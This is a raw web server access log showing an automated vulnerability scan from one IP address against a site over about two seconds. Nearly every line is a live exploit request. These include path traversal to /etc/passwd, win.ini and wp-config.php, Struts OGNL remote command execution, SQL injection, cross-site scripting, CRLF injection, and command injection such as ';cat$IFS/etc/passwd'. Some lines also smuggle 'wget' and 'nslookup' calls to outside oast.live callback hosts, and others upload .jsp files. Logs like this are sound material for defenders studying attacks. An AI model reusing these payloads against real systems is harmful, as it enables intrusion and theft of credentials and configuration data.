[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /_snapshot/test2 HTTP/1.1" 220
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/whizz/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /monitoring/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/wsecure/wsecure-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/tidio-gallery/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/photoxhibit/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/s3-video/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /boardDataWW.php HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //faces/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0):: HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /~user/%0D%0ASet-Cookie:crlfinjection HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/tools.php?content&wp-attachment-export-download=true HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/amty-thumb-recent-post/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resource/file%3a///etc/passwd/ HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/;cat$IFS/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__debugging_center_utils___.php?log=;echo%20bghjqyfzcxhhjdggevhowbesedwfuzqn%20|%20id HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /command/prima-factory.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vsaPres/Web20/core/LocalProxy.ashx?url=http://oast.me HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5C../ssl/yaws-key.pem HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/admin?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /maint/index.php?packages HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote/loginredir?redir=javascript:alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?where1=<script>alert(document.domain)</script>&searchsubmit=Buscar&page=nsp_search HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gsearch.php.en?prod=';prompt`document.domain`;// HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xda/help/en/default.htm?startat=//oast.me HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /fileserver/380DICzfVlC7AJHDii4LQtxeL71.txt HTTP/1.1" 220
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%276d6e68716e%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1 HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dokuwiki/doku.php?id=wiki:welcome&at=<svg%20onload=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /carbon/resources/add_collection_ajaxprocessor.jsp?collectionName=%3Cimg%20src=x%20onerror=alert(document.domain)%3E&parentPath=%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/logoff.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?c=api&m=data2&function=%3Cscript%3Ealert(document.domain)%3C/script%3Ep&format=php HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fosagent/repl/download-file?basedir=4&filepath=..\\..\\Windows\\win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DnnImageHandler.ashx?mode=file&url=http://d5g6to2hausk1oj0j65g8thomd74zdr69.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName&redirect=%2f%5cinteract.sh HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:page=wizardfifth HTTP/1.1" 199
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/../../../a/../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/pkg?command=<script>alert(document.cookie)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.. HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlets/FetchFile?fileName=../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-mailster/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "OPTIONS / HTTP/1.1" -
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /invoker/JMXInvokerServlet/ HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /380DISajogt99SUaWCIuvSwbNqv.jsp/ HTTP/1.1" 220
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/v1/AccountService/Accounts HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CMSInstall/install.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /verify.php?id=1&confirm_hash HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?redir=http://www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?redirect=/\\interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /services/getFile.cmd?userfile=config.xml HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_search HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\"; HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /poc.jsp/ HTTP/1.1" 220
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /current_config/Sha1Account1 HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /boards/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /RPC2 HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?gf_page=upload HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>&dSecurityGroup&QueryText=(dInDate+>=+%60<$dateCurrent(-7)$>%60)&PageTitle=OO HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /composer/send_email?to=mhmp@uQoG&url=http://d5g6to2hausk1oj0j65gstyudf4dyr4i9.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_next/../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/deviceInfo?auth=YWRtaW46MTEK HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /BSW_cxttongr.htm HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/recommend.php?action&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,md5(999999999),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294 HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/old/calendar/minimizer/index.php?style=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/users/ HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/cores?wt=json HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=Windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backupmgt/pre_connect_check.php?auth_name=fail;wget+http://d5g6to2hausk1oj0j65goyntr1fifm19n.oast.live; HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /getGfiUpgradeFile?fileName=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /passwordrecovered.cgi?id=0LJlX HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /clients/editclient.php?id=380DIIZtqiLUhnpYKFnoGAF8Mj4&action=update HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/script?command=|%20nslookup%20d5g6to2hausk1oj0j65g6x6yerqi7en67.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:14 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /current_config/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1) HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/oauth/users/icon-uri?consumerUri=http://d5g6to2hausk1oj0j65gasjksxxgbo13d.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__debugging_center_utils___.php?log=;echo%20bghjqyfzcxhhjdggevhowbesedwfuzqn%20|%20ipconfig HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /integration/saveGangster.action HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(999999999)),1) HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/apply?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /struts2-rest-showcase/orders/3 HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/raygun4wp/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /base_import/static/c:/windows/win.ini HTTP/1.1" 196
